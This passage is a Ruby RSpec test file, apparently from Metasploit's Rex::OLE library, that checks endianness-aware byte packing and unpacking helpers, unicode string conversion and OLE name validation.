let(:endian) { Rex::OLE::LITTLE_ENDIAN }
|
||||
|
||||
it "sets the endian field" do
|
||||
set_endian
|
||||
expect(described_class.instance_variable_get(:@endian)).to eq(0xfffe)
|
||||
end
|
||||
|
||||
it "returns the set endianness" do
|
||||
is_expected.to eq(0xfffe)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get64" do
|
||||
subject(:quad_word) { described_class.get64(buf, offset) }
|
||||
|
||||
context "when buf is empty" do
|
||||
let(:buf) { '' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises a null dereference exception" do
|
||||
expect { quad_word }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf is shorter than offset" do
|
||||
let(:buf) { "\x12\x34\x56\x78\x12\x34\x56\x78" }
|
||||
let(:offset) { 8 }
|
||||
|
||||
it "raises a null dereference exceptioon" do
|
||||
expect { quad_word }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is little endian" do
|
||||
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the little endian quad word at offset" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq(0x8877665544332211)
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the big endian quad word at offset" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq(0x1122334455667788)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".pack64" do
|
||||
subject(:packed_quad_word) { described_class.pack64(value) }
|
||||
let(:value) { 0x1122334455667788 }
|
||||
|
||||
context "when @endian is little endian" do
|
||||
it "returns the packed little endian quad word" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq("\x88\x77\x66\x55\x44\x33\x22\x11")
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
it "returns the packed big endian quad word" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get32" do
|
||||
subject(:word) { described_class.get32(buf, offset) }
|
||||
|
||||
context "when buf is empty" do
|
||||
let(:buf) { '' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "returns nil" do
|
||||
is_expected.to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf is shorter than offset" do
|
||||
let(:buf) { "\x12\x34\x56" }
|
||||
let(:offset) { 4 }
|
||||
|
||||
it "raises a null dereference exceptioon" do
|
||||
expect { word }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is little endian" do
|
||||
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the little endian word at offset" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq(0x44332211)
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the big endian word at offset" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq(0x11223344)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".pack32" do
|
||||
subject(:packed_word) { described_class.pack32(value) }
|
||||
let(:value) { 0x11223344 }
|
||||
|
||||
context "when @endian is little endian" do
|
||||
it "returns the packed little endian word" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq("\x44\x33\x22\x11")
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
it "returns the packed big endian word at offset" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq("\x11\x22\x33\x44")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get32array" do
|
||||
subject(:word_array) { described_class.get32array(buf) }
|
||||
|
||||
context "when buf is empty" do
|
||||
let(:buf) { '' }
|
||||
|
||||
it "returns an empty array" do
|
||||
is_expected.to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf isn't empty" do
|
||||
let(:buf) { "\x11\x22\x33\x44\x55\x66\x77\x88" }
|
||||
|
||||
context "when @endian is little endian" do
|
||||
it "unpacks an array of little endian words" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq([0x44332211, 0x88776655])
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
it "unpacks an array of big endian words" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq([0x11223344, 0x55667788])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".pack32array" do
|
||||
subject(:packed_word) { described_class.pack32array(arr) }
|
||||
|
||||
context "when arr is empty" do
|
||||
let(:arr) { [] }
|
||||
it "returns an empty string" do
|
||||
is_expected.to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when arr isn't empty" do
|
||||
let(:arr) { [0x11223344, 0x55667788] }
|
||||
|
||||
context "when @endian is little endian" do
|
||||
it "returns the little endian words array packed" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq("\x44\x33\x22\x11\x88\x77\x66\x55")
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
it "returns the big endian words array packed" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe ".get16" do
|
||||
subject(:half_word) { described_class.get16(buf, offset) }
|
||||
|
||||
context "when buf is empty" do
|
||||
let(:buf) { '' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "returns nil" do
|
||||
is_expected.to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf is shorter than offset" do
|
||||
let(:buf) { "\x12\x34" }
|
||||
let(:offset) { 4 }
|
||||
|
||||
it "raises a null dereference exceptioon" do
|
||||
expect { half_word }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is little endian" do
|
||||
let(:buf) { "\x00\x11\x22\x33\x44" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the little endian half word at offset" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq(0x2211)
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
let(:buf) { "\x00\x11\x22\x33\x44" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the big endian word at offset" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq(0x1122)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".pack16" do
|
||||
subject(:packed_word) { described_class.pack16(value) }
|
||||
let(:value) { 0x1122 }
|
||||
|
||||
context "when @endian is little endian" do
|
||||
it "returns the packed little endian word" do
|
||||
described_class.set_endian(Rex::OLE::LITTLE_ENDIAN)
|
||||
is_expected.to eq("\x22\x11")
|
||||
end
|
||||
end
|
||||
|
||||
context "when @endian is big endian" do
|
||||
it "returns the packed big endian word at offset" do
|
||||
described_class.set_endian(Rex::OLE::BIG_ENDIAN)
|
||||
is_expected.to eq("\x11\x22")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get8" do
|
||||
subject(:byte) { described_class.get8(buf, offset) }
|
||||
|
||||
context "when buf is empty" do
|
||||
let(:buf) { '' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "returns nil" do
|
||||
is_expected.to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when buf is shorter than offset" do
|
||||
let(:buf) { "\x12\x34" }
|
||||
let(:offset) { 4 }
|
||||
|
||||
it "raises a null dereference exceptioon" do
|
||||
expect { byte }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
let(:buf) { "\x00\x11\x22" }
|
||||
let(:offset) { 1 }
|
||||
|
||||
it "returns the byte at offset" do
|
||||
is_expected.to eq(0x11)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".pack8" do
|
||||
subject(:packed_byte) { described_class.pack8(value) }
|
||||
let(:value) { 0x11 }
|
||||
|
||||
it "returns the packed byte" do
|
||||
is_expected.to eq("\x11")
|
||||
end
|
||||
end
|
||||
|
||||
describe ".getUnicodeString" do
|
||||
subject(:unicode_string) { described_class.getUnicodeString(buf) }
|
||||
let(:buf) { "T\x00h\x00i\x00s\x00 \x00i\x00s\x00 \x00a\x00n\x00 \x00u\x00n\x00i\x00c\x00o\x00d\x00e\x00 \x00s\x00t\x00r\x00i\x00n\x00g\x00" }
|
||||
|
||||
it "unpacks unicode string" do
|
||||
is_expected.to eq('This is an unicode string')
|
||||
end
|
||||
|
||||
context "when buf contains unicode nulls" do
|
||||
let(:buf) { "T\x00h\x00\x00i\x00s\x00" }
|
||||
|
||||
it "unpacks unicode string until null" do
|
||||
is_expected.to eq('Th')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".putUnicodeString" do
|
||||
subject(:packed_byte) { described_class.putUnicodeString(buf) }
|
||||
let(:buf) { 'A' * 32 }
|
||||
|
||||
it "returns the unicode version of the string" do
|
||||
is_expected.to eq("A\x00" * 32)
|
||||
end
|
||||
|
||||
context "when buf is shorter than 32" do
|
||||
let(:buf) { 'A' * 30 }
|
||||
it "adds null byte padding" do
|
||||
is_expected.to eq(("A\x00" * 30) + "\x00\x00\x00\x00")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".name_is_valid" do
|
||||
subject(:valid_name) { described_class.name_is_valid(name) }
|
||||
|
||||
context "when name length is greater than 31" do
|
||||
let(:name) { 'A' * 32 }
|
||||
it "returns nil" do
|
||||
is_expected.to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when name contains [0x00..0x1f] chars" do
|
||||
let(:name) { "ABCDE\x1f" }
|
||||
it "returns nil" do
|
||||
is_expected.to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when name doesn't contain [0x00..0x1f] chars" do
|
||||
let(:name) { "ABCDE\x88" }
|
||||
it "returns true" do
|
||||
is_expected.to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue